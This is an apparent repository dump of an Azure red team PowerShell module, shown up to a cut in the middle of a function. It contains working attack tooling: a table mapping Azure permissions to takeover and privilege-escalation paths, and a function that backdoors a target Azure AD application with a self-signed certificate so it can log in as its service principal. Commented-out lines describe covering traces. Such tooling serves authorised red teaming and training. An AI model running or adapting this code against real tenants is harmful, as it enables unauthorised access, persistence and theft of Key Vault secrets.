├── AzureRT.ps1 ├── CODE_OF_CONDUCT.md ├── LICENSE └── README.md /AzureRT.ps1: -------------------------------------------------------------------------------- 1 | # 2 | # Azure Red Team Powershell module. 3 | # 4 | # Set of useful cmdlets used to collect reconnessaince data, query Azure, Azure AD or 5 | # Office365 for valuable intelligence and perform various offensive activities using 6 | # solely JWT Access Token or by interacting with related Powershell modules 7 | # (Az, AzureAD, AzureADPreview) as well as AZ CLI. 8 | # 9 | # Requirements: 10 | # Install-Module Az 11 | # Install-Module AzureAD 12 | # Install-Module Microsoft.Graph (optional) 13 | # az cli (optional) 14 | # 15 | # Author: 16 | # Mariusz Banach / mgeeky, '22 17 | # 18 | # 19 | 20 | $KnownDangerousPermissions = @{ 21 | '`*/`*' = 'UNLIMITED PRIVILEGES IN THE ENTIRE AZURE SUBSCRIPTION!' 22 | '`*/read' = 'Can read all sensitive data on a specified resource/service!' 23 | '`*/write' = 'Can MODIFY all settings and data on a specified resource/service!' 24 | 25 | 'storageAccounts/read' = 'Allows User to read Storage Accounts and related Blobs' 26 | 'storageAccounts/blobServices/containers/read' = 'Allows User to read Blobs Containers' 27 | 'storageAccounts/blobServices/containers/blobs/write' = 'Allows Users to upload malicious files to Blob Containers' 28 | 29 | 'roleAssignments/write' = 'Facilitates Privileges Escalation through a malicious Role Assignment' 30 | 31 | 'microsoft.intune/allEntities/allTasks' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator' 32 | 'microsoft.intune/allEntities/`*' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator' 33 | 'microsoft.intune/*/`*' = 'Death From Above: Lateral Movement From Azure to On-Prem AD via Powershell Script code execution as an Intune Administrator' 34 | 35 | 'virtualMachines/`*' = 'Complete control over Azure VM can lead to a machine takeover by Running arbitrary Powershell commands (runCommand)' 36 | 'virtualMachines/read' = 'User can read Azure VMs User Data contents as well as other VMs properties.' 37 | 'virtualMachines/write' = 'Partial control over Azure VM can lead to a machine takeover by modification of VMs User Data' 38 | 'virtualMachines/runCommand' = 'Allows User to Compromise Azure VM by Running arbitrary Powershell commands.' 39 | 40 | 'virtualMachines/extensions/write' = 'User can compromise Azure VM by creating a Custom Script Extension on that VM.' 41 | 'virtualMachines/extensions/read' = 'User can read a Custom Script Extension output on a Azure VM, which may contain sensitive data.' 42 | 43 | 'secrets/getSecret' = 'User can read Key Vault Secret contents' 44 | 'vaults/*/read' = 'User can access Key Vault Secrets.' 45 | 'Microsoft.KeyVault/vaults/`*' = 'User can access Key Vault Secrets.' 46 | 'vaults/certificatecas/`*' = 'User can access Key Vault Certificates' 47 | 'vaults/certificates/`*' = 'User can access Key Vault Certificates' 48 | 'vaults/keys/`*' = 'User can access Key Vault Keys' 49 | 'vaults/secrets/`*' = 'User can access Key Vault Keys' 50 | 51 | 'microsoft.directory/users/inviteGuest' = 'Can invite Guest Users to Azure AD Tenant' 52 | 53 | 'automationAccounts/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks' 54 | 'automationAccounts/jobs/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs' 55 | 'automationAccounts/jobs/write' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Account Jobs' 56 | 'automationAccounts/runbooks/`*' = 'Allows User to compromise Azure VM & Hybrid machines through Azure Automation Runbooks' 57 | 58 | 'users/password/update' = 'User can reset Other non-admin user passwords' 59 | 'users/authenticationMethods/create' = 'User can create new Authentication Method on another user' 60 | 'users/authenticationMethods/delete' = 'User can delete Authentication Method of another user.' 61 | 'users/authenticationMethods/basic/update' = 'User can update authentication methods of another user' 62 | 63 | '/`*' = 'Unlimited privileges in a specified Azure Service. May result in data compromise, infiltration and other attacks.' 64 | #'`*' = 'Unlimited privileges in this specific resource/service!' 65 | } 66 | 67 | 68 | Function Get-ARTWhoami { 69 | <# 70 | .SYNOPSIS 71 | Prints current authentication context 72 | 73 | .DESCRIPTION 74 | Pulls current context information from Az and AzureAD modules and presents them bit nicer. 75 | 76 | .PARAMETER CheckToken 77 | When used will attempt to validate token. 78 | 79 | .PARAMETER Az 80 | Show Az authentication context. 81 | 82 | .PARAMETER AzureAD 83 | Show AzureAD authentication context. 84 | 85 | .PARAMETER MGraph 86 | Show MGraph authentication context. 87 | 88 | .PARAMETER AzCli 89 | Show az cli authentication context. 90 | 91 | .EXAMPLE 92 | Example 1: Will show all authentication contexts supported (Az, AzureAD, MGraph, az cli) 93 | PS> Get-ARTWhoami 94 | 95 | Example 2: Will show all authentication contexts supported and validate access tokens: 96 | PS> Get-ARTWhoami -CheckToken 97 | 98 | Example 3: Will show only Az and AzureAD authentication context: 99 | PS> Get-ARTWhoami -Az -AzureAD 100 | #> 101 | 102 | [cmdletbinding()] 103 | param( 104 | [Switch] 105 | $CheckToken, 106 | 107 | [Switch] 108 | $Az, 109 | 110 | [Switch] 111 | $AzureAD, 112 | 113 | [Switch] 114 | $MGraph, 115 | 116 | [Switch] 117 | $AzCli 118 | ) 119 | 120 | $All = $true 121 | 122 | if($Az -or $AzureAD -or $MGraph -or $AzCli) { 123 | $All = $false 124 | } 125 | 126 | $EA = $ErrorActionPreference 127 | #$ErrorActionPreference = 'silentlycontinue' 128 | 129 | Write-Host "" 130 | 131 | if((Get-Command Get-AzContext) -and ($All -or $Az)) { 132 | 133 | Write-Host "=== Azure context (Az module):" -ForegroundColor Yellow 134 | try { 135 | $AzContext = Get-AzContext 136 | 137 | if($CheckToken) { 138 | try { 139 | Get-AzTenant -ErrorAction SilentlyContinue | Out-Null 140 | Write-Host "`n[+] Token is valid on Azure." -ForegroundColor Green 141 | } 142 | catch { 143 | Write-Host "`n[-] Token is invalid on Azure." -ForegroundColor Red 144 | } 145 | } 146 | 147 | $AzContext | Select Name,Account,Subscription,Tenant | fl 148 | 149 | } catch { 150 | Write-Host "[!] Not authenticated to Azure.`n" -ForegroundColor Red 151 | Write-Host "" 152 | } 153 | } 154 | 155 | if((Get-Command Get-AzureADCurrentSessionInfo) -and ($All -or $AzureAD)) { 156 | Write-Host "=== Azure AD context (AzureAD module):" -ForegroundColor Yellow 157 | 158 | try { 159 | $AzADCurrSess = Get-AzureADCurrentSessionInfo 160 | 161 | if($CheckToken) { 162 | try { 163 | Get-AzureADTenantDetail -ErrorAction SilentlyContinue | Out-Null 164 | Write-Host "`n[+] Token is valid on Azure AD." -ForegroundColor Green 165 | } 166 | catch { 167 | Write-Host "`n[-] Token is invalid on Azure AD." -ForegroundColor Red 168 | } 169 | } 170 | 171 | $sp = $null 172 | try { 173 | $sp = Get-AzureADServicePrincipal | ? { $_.ServicePrincipalNames -contains $AzADCurrSess.Account } 174 | } 175 | catch { 176 | } 177 | 178 | if($sp -ne $null) { 179 | $membership = $null 180 | try { 181 | $membership = Get-AzureADServicePrincipalMembership -ObjectId $sp.ObjectId 182 | }catch{} 183 | 184 | $AzADCurrSess | Select Account,Environment,Tenant,TenantDomain,@{Name="PrincipalType";Expression={'ServicePrincipal'}},@{Name="ApplicationName";Expression={$sp.DisplayName}},@{Name="ApplicationId";Expression={$sp.ObjectId}},@{Name="MemberOf";Expression={$membership | select -ExpandProperty DisplayName}} | fl 185 | } 186 | else { 187 | $membership = $null 188 | try { 189 | $membership = Get-AzureADUserMembership -ObjectId $AzADCurrSess.Account.Id 190 | }catch{} 191 | 192 | $AzADCurrSess | Select Account,Environment,Tenant,TenantDomain,@{Name="PrincipalType";Expression={'User'}},@{Name="MemberOf";Expression={$membership | select -ExpandProperty DisplayName}} | fl 193 | } 194 | 195 | 196 | } catch { 197 | Write-Host "[!] Not authenticated to Azure AD.`n" -ForegroundColor Red 198 | throw 199 | Write-Host "" 200 | } 201 | } 202 | 203 | try { 204 | if (($All -or $MGraph) -and (Get-Command Get-MGContext -ErrorAction SilentlyContinue)) { 205 | Write-Host "=== Microsoft Graph context (Microsoft.Graph module):" -ForegroundColor Yellow 206 | 207 | try { 208 | $mgContext = Get-MGContext 209 | 210 | if($CheckToken) { 211 | try { 212 | Get-MGOrganization -ErrorAction SilentlyContinue | Out-Null 213 | Write-Host "`n[+] Token is valid on Microsoft Graph." -ForegroundColor Green 214 | } 215 | catch { 216 | if($PSItem.Exception.Message -like '*Insufficient privileges to complete the operation*') { 217 | Write-Host "`n[+] Token is valid on Microsoft Graph." -ForegroundColor Green 218 | } 219 | else { 220 | Write-Host "`n[-] Token is invalid on Microsoft Graph." -ForegroundColor Red 221 | } 222 | } 223 | } 224 | 225 | $mgContext | Select Account,AppName,ContextScope,ClientId,TenantId,AuthType | fl 226 | 227 | } catch { 228 | Write-Host "[!] Not authenticated to Microsoft.Graph.`n" -ForegroundColor Red 229 | Write-Host "" 230 | } 231 | } 232 | } catch { 233 | Write-Host "[!] Microsoft.Graph module not loaded. Load it with Import-Module MSOnline`n" -ForegroundColor Red 234 | Write-Host "" 235 | } 236 | 237 | if($All -or $AzCli) { 238 | Write-Host "=== AZ CLI context:" -ForegroundColor Yellow 239 | 240 | try { 241 | $AzAcc = az account show | convertfrom-json 242 | 243 | $Coll = New-Object System.Collections.ArrayList 244 | 245 | $obj = [PSCustomObject]@{ 246 | Username = $AzAcc.User.Name 247 | Usertype = $AzAcc.User.Type 248 | TenantId = $AzAcc.tenantId 249 | TenantName = $AzAcc.name 250 | SubscriptionId = $AzAcc.Id 251 | Environment = $AzAcc.EnvironmentName 252 | } 253 | 254 | $null = $Coll.Add($obj) 255 | 256 | $Coll | fl 257 | 258 | } catch { 259 | Write-Host "[!] Not authenticated to AZ CLI.`n" -ForegroundColor Red 260 | Write-Host "" 261 | } 262 | } 263 | 264 | $ErrorActionPreference = $EA 265 | } 266 | 267 | 268 | Function Get-ARTSubscriptionId { 269 | <# 270 | .SYNOPSIS 271 | Returns the first Subscription ID available. 272 | 273 | .DESCRIPTION 274 | Returns the first Subscription ID available. 275 | 276 | .PARAMETER AccessToken 277 | Azure Management Access Token 278 | 279 | .EXAMPLE 280 | PS> Get-ARTSubscriptionId -AccessToken $token 281 | #> 282 | 283 | [cmdletbinding()] 284 | param( 285 | [Parameter(Mandatory=$False)] 286 | [string] 287 | $AccessToken 288 | ) 289 | 290 | try { 291 | 292 | $EA = $ErrorActionPreference 293 | $ErrorActionPreference = 'silentlycontinue' 294 | 295 | if($AccessToken -ne $null -and $AccessToken.Length -gt 0) { 296 | $headers = @{ 297 | 'Authorization' = "Bearer $AccessToken" 298 | } 299 | 300 | $SubscriptionId = (Invoke-RestMethod -Uri "https://management.azure.com/subscriptions?api-version=2020-01-01" -Headers $headers).value.subscriptionId 301 | } 302 | else { 303 | $SubscriptionId = (Get-AzContext).Subscription.Id 304 | } 305 | 306 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 307 | throw "Could not acquire Subscription ID!" 308 | } 309 | 310 | if( $SubscriptionId.Split(' ').Length -gt 1 ) { 311 | $First = $SubscriptionId.Split(' ')[0] 312 | Write-Warning "[#] WARNING: There are multiple Subscriptions available in this Tenant! Specify -SubscriptionId parameter to narrow down results." 313 | Write-Warning " Picking the first Subscription Id: $First" 314 | 315 | $SubscriptionId = $First 316 | } 317 | 318 | return $SubscriptionId.Split(' ')[0] 319 | } 320 | catch { 321 | Write-Host "[!] Function failed!" -ForegroundColor Red 322 | Throw 323 | Return 324 | } 325 | finally { 326 | $ErrorActionPreference = $EA 327 | } 328 | } 329 | 330 | 331 | Function Parse-JWTtokenRT { 332 | [alias("Parse-JWTokenRT")] 333 | <# 334 | .SYNOPSIS 335 | Prints JWT token contents. 336 | 337 | .DESCRIPTION 338 | Parses input JWT token and prints it out nicely. 339 | 340 | .PARAMETER Token 341 | JWT token to parse. 342 | 343 | .PARAMETER Json 344 | Return parsed token as JSON object. 345 | 346 | .PARAMETER ShowHeader 347 | Include Header in token representation. 348 | 349 | .EXAMPLE 350 | PS> Parse-JWTokenRT -Token $token 351 | #> 352 | 353 | [cmdletbinding()] 354 | param( 355 | [Parameter(Mandatory=$true)] 356 | [string] 357 | $Token, 358 | 359 | [Switch] 360 | $Json, 361 | 362 | [Switch] 363 | $ShowHeader 364 | ) 365 | 366 | try { 367 | if($Token -eq $null -or $Token.Length -eq 0 ) { 368 | Write-Error "Empty token." 369 | Return 370 | } 371 | 372 | $EA = $ErrorActionPreference 373 | $ErrorActionPreference = 'silentlycontinue' 374 | 375 | if (!$token.Contains(".") -or !$token.StartsWith("eyJ")) { Write-Error "Invalid JWT token!" -ErrorAction Stop } 376 | 377 | $tokenheader = $token.Split(".")[0].Replace('-', '+').Replace('_', '/') 378 | 379 | while ($tokenheader.Length % 4) { $tokenheader += "=" } 380 | 381 | $tokenHdrByteArray = [System.Convert]::FromBase64String($tokenheader) 382 | $tokenHdrArray = [System.Text.Encoding]::ASCII.GetString($tokenHdrByteArray) 383 | $tokhdrobj = $tokenHdrArray | ConvertFrom-Json 384 | 385 | $tokenPayload = $token.Split(".")[1].Replace('-', '+').Replace('_', '/') 386 | while ($tokenPayload.Length % 4) { $tokenPayload += "=" } 387 | 388 | $tokenByteArray = [System.Convert]::FromBase64String($tokenPayload) 389 | $tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray) 390 | $tokobj = $tokenArray | ConvertFrom-Json 391 | 392 | if ([bool]($tokobj.PSobject.Properties.name -match "iat")) { 393 | $tokobj.iat = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.iat) 394 | } 395 | 396 | if ([bool]($tokobj.PSobject.Properties.name -match "nbf")) { 397 | $tokobj.nbf = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.nbf) 398 | } 399 | 400 | if ([bool]($tokobj.PSobject.Properties.name -match "exp")) { 401 | $tokobj.exp = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.exp) 402 | } 403 | 404 | if ([bool]($tokobj.PSobject.Properties.name -match "xms_tcdt")) { 405 | $tokobj.xms_tcdt = Get-Date ([DateTime]('1970,1,1')).AddSeconds($tokobj.xms_tcdt) 406 | } 407 | 408 | if($ShowHeader) { 409 | $tokobj.header = $tokhdrobj 410 | } 411 | 412 | if($Json) { 413 | Return ($tokobj | ConvertTo-Json) 414 | } 415 | 416 | return $tokobj 417 | } 418 | catch { 419 | Write-Host "[!] Function failed!" -ForegroundColor Red 420 | Throw 421 | Return 422 | } 423 | finally { 424 | $ErrorActionPreference = $EA 425 | } 426 | } 427 | 428 | Function Connect-ART { 429 | <# 430 | .SYNOPSIS 431 | Connects to the Azure. 432 | 433 | .DESCRIPTION 434 | Invokes Connect-AzAccount to authenticate current session to the Azure Portal via provided Access Token or credentials. 435 | Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 436 | 437 | .PARAMETER AccessToken 438 | Specifies JWT Access Token for the https://management.azure.com resource. 439 | 440 | .PARAMETER GraphAccessToken 441 | Optional access token for Azure AD service (https://graph.microsoft.com). 442 | 443 | .PARAMETER KeyVaultAccessToken 444 | Optional access token for Key Vault service (https://vault.azure.net). 445 | 446 | .PARAMETER SubscriptionId 447 | Optional parameter that specifies to which subscription should access token be acquired. 448 | 449 | .PARAMETER TokenFromAzCli 450 | Use az cli to acquire fresh access token. 451 | 452 | .PARAMETER Username 453 | Specifies Azure portal Account name, Account ID or Application ID. 454 | 455 | .PARAMETER Password 456 | Specifies Azure portal password. 457 | 458 | .PARAMETER TenantId 459 | When authenticating as a Service Principal, the Tenant ID must be specifed. 460 | 461 | .PARAMETER Credential 462 | PS Credential object containing principal credentials to connect with. 463 | 464 | .EXAMPLE 465 | Example 1: Authentication as a user to the Azure via Access Token: 466 | PS> Connect-ART -AccessToken 'eyJ0eXA...' 467 | 468 | Example 2: Authentication as a user to the Azure via Credential: 469 | PS> Connect-ART -Username test@test.onmicrosoft.com -Password Foobar123% 470 | 471 | Example 3: Authentication as a user to the Azure via Credential object: 472 | PS> Connect-ART -Credential $creds 473 | 474 | Example 4: Authentication as a Service Principal using added Application Secret: 475 | PS> Connect-ART -ServicePrincipal -Username f072c4a6-e696-11eb-b57b-00155d01ef0d -Password 'agq7Q~UZX5SYwxq2O7FNW~C_S1QNJcJrlLu.E' -TenantId b423726f-108d-4049-8c11-d52d5d388768 476 | #> 477 | 478 | [CmdletBinding(DefaultParameterSetName = 'Token')] 479 | Param( 480 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 481 | [String] 482 | $AccessToken = $null, 483 | 484 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 485 | [String] 486 | $GraphAccessToken = $null, 487 | 488 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 489 | [String] 490 | $KeyVaultAccessToken = $null, 491 | 492 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 493 | [String] 494 | $SubscriptionId = $null, 495 | 496 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 497 | [Switch] 498 | $TokenFromAzCli, 499 | 500 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 501 | [String] 502 | $Username = $null, 503 | 504 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 505 | [String] 506 | $Password = $null, 507 | 508 | [Parameter(Mandatory=$False, ParameterSetName = 'Credentials')] 509 | [Switch] 510 | $ServicePrincipal, 511 | 512 | [Parameter(Mandatory=$False, ParameterSetName = 'Credentials')] 513 | [String] 514 | $TenantId, 515 | 516 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials2')] 517 | [System.Management.Automation.PSCredential] 518 | $Credential 519 | ) 520 | 521 | try { 522 | $EA = $ErrorActionPreference 523 | $ErrorActionPreference = 'silentlycontinue' 524 | 525 | if (-not (Get-Module -ListAvailable -Name Az.Accounts)) { 526 | Write-Verbose "Az Powershell module not installed or not loaded. Installing it..." 527 | Install-Module -Name Az -Force -Confirm -Scope CurrentUser -AllowClobber 528 | } 529 | 530 | if($PsCmdlet.ParameterSetName -eq "Token" -and ($AccessToken -eq $null -or $AccessToken -eq "")) { 531 | if($TokenFromAzCli) { 532 | Write-Verbose "Acquiring Azure access token from az cli..." 533 | $AccessToken = Get-ARTAccessTokenAzCli -Resource https://management.azure.com 534 | $KeyVaultAccessToken = Get-ARTAccessTokenAzCli -Resource https://vault.azure.net 535 | } 536 | else { 537 | Write-Verbose "Acquiring Azure access token from Connect-AzAccount..." 538 | $AccessToken = Get-ARTAccessTokenAz -Resource https://management.azure.com 539 | $KeyVaultAccessToken = Get-ARTAccessTokenAz -Resource https://vault.azure.net 540 | } 541 | } 542 | 543 | if($AccessToken -ne $null -and $AccessToken.Length -gt 0) { 544 | Write-Verbose "Azure authentication via provided access token..." 545 | $parsed = Parse-JWTtokenRT $AccessToken 546 | $tenant = $parsed.tid 547 | 548 | if(-not ($parsed.aud -like 'https://management.*')) { 549 | Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)" 550 | } 551 | 552 | if ([bool]($parsed.PSobject.Properties.name -match "upn")) { 553 | Write-Verbose "Token belongs to a User Principal." 554 | $account = $parsed.upn 555 | } 556 | elseif ([bool]($parsed.PSobject.Properties.name -match "unique_name")) { 557 | Write-Verbose "Token belongs to a User Principal." 558 | $account = $parsed.unique_name 559 | } 560 | else { 561 | Write-Verbose "Token belongs to a Service Principal." 562 | $account = $parsed.appId 563 | } 564 | 565 | $headers = @{ 566 | 'Authorization' = "Bearer $AccessToken" 567 | } 568 | 569 | $params = @{ 570 | 'AccessToken' = $AccessToken 571 | 'Tenant' = $tenant 572 | 'AccountId' = $account 573 | } 574 | 575 | if($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0) { 576 | 577 | $SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken 578 | 579 | if(-not ($SubscriptionId -eq $null -or $SubscriptionId.Length -eq 0)) { 580 | $params["SubscriptionId"] = $SubscriptionId 581 | } 582 | else { 583 | Write-Warning "Could not acquire Subscription ID! Resulting access token may be corrupted!" 584 | } 585 | } 586 | else { 587 | $params["SubscriptionId"] = $SubscriptionId 588 | } 589 | 590 | if ($KeyVaultAccessToken -ne $null -and $KeyVaultAccessToken.Length -gt 0) { 591 | $parsedvault = Parse-JWTtokenRT $KeyVaultAccessToken 592 | 593 | if(-not ($parsedvault.aud -eq 'https://vault.azure.net')) { 594 | Write-Warning "Provided JWT Key Vault Access Token is not scoped to `"https://vault.azure.net`"! Instead its scope is: `"$($parsedvault.aud)`" . That will not work!" 595 | } 596 | 597 | $params["KeyVaultAccessToken"] = $KeyVaultAccessToken 598 | } 599 | 600 | if ($GraphAccessToken -ne $null -and $GraphAccessToken.Length -gt 0) { 601 | $parsedgraph = Parse-JWTtokenRT $GraphAccessToken 602 | 603 | if(-not ($parsedgraph.aud -match 'https://graph.*')) { 604 | Write-Warning "Provided JWT Graph Access Token is not scoped to `"https://graph.*`"! Instead its scope is: `"$($parsedgraph.aud)`" . That will not work!" 605 | } 606 | 607 | $params["GraphAccessToken"] = $GraphAccessToken 608 | } 609 | 610 | $command = "Connect-AzAccount" 611 | 612 | foreach ($h in $params.GetEnumerator()) { 613 | $command += " -$($h.Name) '$($h.Value)'" 614 | } 615 | 616 | Write-Verbose "Command:`n$command`n" 617 | iex $command 618 | 619 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 620 | Parse-JWTtokenRT $AccessToken 621 | } 622 | } 623 | elseif (($PsCmdlet.ParameterSetName -eq "Credentials2") -and ($Credential -ne $null)) { 624 | if($ServicePrincipal) { 625 | 626 | $Username = $Credential.UserName 627 | 628 | if(-not ($Username -match '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')) { 629 | throw "Service Principal Username must follow a GUID scheme!" 630 | } 631 | 632 | Write-Verbose "Azure authentication via provided Service Principal PSCredential object..." 633 | 634 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 635 | throw "Tenant ID not provided! Pass it in -TenantId parameter." 636 | } 637 | 638 | Connect-AzAccount -Credential $Credential -ServicePrincipal -Tenant $TenantId 639 | 640 | } Else { 641 | Write-Verbose "Azure authentication via provided PSCredential object..." 642 | Connect-AzAccount -Credential $Credential 643 | } 644 | } 645 | else { 646 | $passwd = ConvertTo-SecureString $Password -AsPlainText -Force 647 | $creds = New-Object System.Management.Automation.PSCredential ($Username, $passwd) 648 | 649 | if($ServicePrincipal) { 650 | 651 | if(-not ($Username -match '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')) { 652 | throw "Service Principal Username must follow a GUID scheme!" 653 | } 654 | 655 | Write-Verbose "Azure authentication via provided Service Principal creds..." 656 | 657 | if($TenantId -eq $null -or $TenantId.Length -eq 0) { 658 | throw "Tenant ID not provided! Pass it in -TenantId parameter." 659 | } 660 | 661 | Connect-AzAccount -Credential $creds -ServicePrincipal -Tenant $TenantId 662 | 663 | } Else { 664 | Write-Verbose "Azure authentication via provided User creds..." 665 | Connect-AzAccount -Credential $creds 666 | } 667 | } 668 | } 669 | catch { 670 | Write-Host "[!] Function failed!" -ForegroundColor Red 671 | Throw 672 | Return 673 | } 674 | finally { 675 | $ErrorActionPreference = $EA 676 | } 677 | } 678 | 679 | Function Get-ARTUserId { 680 | <# 681 | .SYNOPSIS 682 | Gets current or specified user ObjectId. 683 | 684 | .DESCRIPTION 685 | Acquires current user or user specified in parameter ObjectId 686 | 687 | .PARAMETER Username 688 | Specifies Username/UserPrincipalName/email to use during ObjectId lookup. 689 | 690 | .EXAMPLE 691 | PS> Get-ARTUserId 692 | #> 693 | [CmdletBinding()] 694 | Param( 695 | [Parameter(Mandatory=$False)] 696 | [String] 697 | $Username 698 | ) 699 | 700 | try { 701 | $EA = $ErrorActionPreference 702 | $ErrorActionPreference = 'silentlycontinue' 703 | 704 | $name = (Get-AzureADCurrentSessionInfo).Account 705 | 706 | if($Username -ne $null -and $Username.Length -gt 0) { 707 | $name = $Username 708 | } 709 | 710 | $UserId = (Get-AzureADUser -SearchString $name).ObjectId 711 | 712 | if($UserId -eq $null -or $UserId.Length -eq 0) { 713 | Write-Verbose "Current user is Service Principal" 714 | Return ((Get-AzureADCurrentSessionInfo).Account).Id 715 | } 716 | 717 | Return $UserId 718 | } 719 | catch { 720 | Write-Host "[!] Function failed!" -ForegroundColor Red 721 | Throw 722 | Return $null 723 | } 724 | finally { 725 | $ErrorActionPreference = $EA 726 | } 727 | } 728 | 729 | 730 | Function Connect-ARTADServicePrincipal { 731 | <# 732 | .SYNOPSIS 733 | Connects to the AzureAD as a Service Principal with Certificate. 734 | 735 | .DESCRIPTION 736 | Invokes Connect-AzAccount to authenticate current session to the Azure Portal via provided Access Token or credentials. 737 | Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 738 | 739 | Then it creates self-signed PFX certificate and associates it with Service Principal for authentication. 740 | Afterwards, authenticates as that Service Principal to AzureAD and deassociates that certificate to cleanup 741 | 742 | .PARAMETER TargetApplicationName 743 | Specifies Enterprise Application (by Name or ObjectId) which Service Principal is to be used for authentication. 744 | 745 | .EXAMPLE 746 | Example 1: Connect via Access Token: 747 | PS> Connect-ARTAD -AccessToken '...' 748 | PS> Connect-ARTADServicePrincipal -TargetApplicationName testapp1 749 | 750 | Example 2: Connect via PSCredential object: 751 | PS> $creds = Get-Credential 752 | PS> Connect-AzureAD -Credential $creds 753 | PS> Connect-ARTADServicePrincipal -TargetApplicationName testapp1 754 | #> 755 | 756 | [CmdletBinding()] 757 | Param( 758 | [Parameter(Mandatory=$True)] 759 | [String] 760 | $TargetApplicationName 761 | ) 762 | 763 | try { 764 | $EA = $ErrorActionPreference 765 | $ErrorActionPreference = 'silentlycontinue' 766 | 767 | $fname = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_}) 768 | $certPath = "$Env:Temp\$fname.key.pfx" 769 | $certStorePath = "cert:\currentuser\my" 770 | $appKeyIdentifier = "Test123" 771 | $certpwd = "VeryStrongCertificatePassword123" 772 | 773 | try { 774 | $certDnsName = (Get-AzureADDomain | ? { $_.IsDefault -eq $true } ).Name 775 | } 776 | catch { 777 | Write-Host "[!] Get-AzureADDomain failed. Probably not authenticated." 778 | Write-Host "[!] Use: Connect-AzureAD or Connect-ARTAD before attempting authentication as Service Principal!" 779 | 780 | Throw 781 | Return 782 | } 783 | 784 | $UserId = Get-ARTUserId 785 | 786 | $pwd = ConvertTo-SecureString -String $certpwd -Force -AsPlainText 787 | $cert = Get-ChildItem -Path $certStorePath | where { $_.subject -eq "CN=$certDnsName" } 788 | 789 | if($cert -eq $null -or $cert.Thumbprint -eq "") { 790 | Write-Verbose "Step 1. Create the self signed cert and load it to local store." 791 | 792 | $currentDate = Get-Date 793 | $endDate = $currentDate.AddYears(1) 794 | $notAfter = $endDate.AddYears(1) 795 | 796 | $thumb = (New-SelfSignedCertificate -CertStoreLocation $certStorePath -DnsName $certDnsName -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $notAfter).Thumbprint 797 | } 798 | else { 799 | Write-Verbose "Step 1. Get self signed cert and load it to local store." 800 | $cert 801 | $thumb = $cert.Thumbprint 802 | } 803 | 804 | Write-Verbose "`t1.1. Export PFX certificate to file: $certPath" 805 | Export-PfxCertificate -cert "$certStorePath\$thumb" -FilePath $certPath -Password $pwd | Out-Null 806 | 807 | Write-Verbose "Step 2. Load exported certificate" 808 | Write-Verbose "`t2.1. Certificate Thumbprint: $thumb" 809 | 810 | $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate($certPath, $pwd) 811 | $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) 812 | 813 | Write-Verbose "Step 3. Get Service Principal and connect it to the Application." 814 | $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '$TargetApplicationName'" 815 | $app = Get-AzureADApplication | ? { $_.DisplayName -eq $TargetApplicationName -or $_.ObjectId -eq $TargetApplicationName } 816 | 817 | Write-Verbose "Step 4. Backdoor target Azure AD Application with newly created Certificate." 818 | $key = New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -CustomKeyIdentifier $appKeyIdentifier -StartDate $currentDate -EndDate $endDate -Type AsymmetricX509Cert -Usage Verify -Value $keyValue 819 | 820 | Write-Host "Perform cleanup with command:" 821 | Write-Host "`tPS> Remove-ARTServicePrincipalKey -ApplicationName $($app.ObjectId) -KeyId $($key.KeyId)" 822 | 823 | Write-Verbose "`nStep 5. Authenticate to Azure AD as a Service Principal." 824 | 825 | try { 826 | Write-Verbose "`tCooling down for 15 seconds to let Azure account for created certificate.`n" 827 | Start-Sleep -Seconds 15 828 | Connect-AzureAD -TenantId $sp.AppOwnerTenantId -ApplicationId $sp.AppId -CertificateThumbprint $thumb | Out-Null 829 | } 830 | catch { 831 | Write-Host "[!] Failed: Could not authenticate to Azure AD as Service Principal!" 832 | Return 833 | } 834 | 835 | #Write-Verbose "`n[.] To manually remove backdoor certificate from the Application and cover up traces use following command AS $((Get-AzureADCurrentSessionInfo).Account):`n" 836 | #Write-Verbose "`tRemove-AzureADApplicationKeyCredential -ObjectId $($app.ObjectId) -KeyId $($key.KeyId)`n" 837 | #Write-Verbose "`tGet-ChildItem -Path $certStorePath | where { `$_.subject -eq `"CN=$certDnsName`" } | Remove-Item" 838 | #Write-Verbose "`tRemove-Item -Path $certPath | Out-Null" 839 | 840 | Write-Host "`n`n[+] You are now authenticated as:`n" 841 | Get-AzureADDomain | Out-Null 842 | Start-Sleep -Seconds 3 843 | Get-AzureADCurrentSessionInfo 844 | } 845 | catch { 846 | Write-Host "[!] Function failed!" -ForegroundColor Red 847 | Throw 848 | Return 849 | } 850 | finally { 851 | $ErrorActionPreference = $EA 852 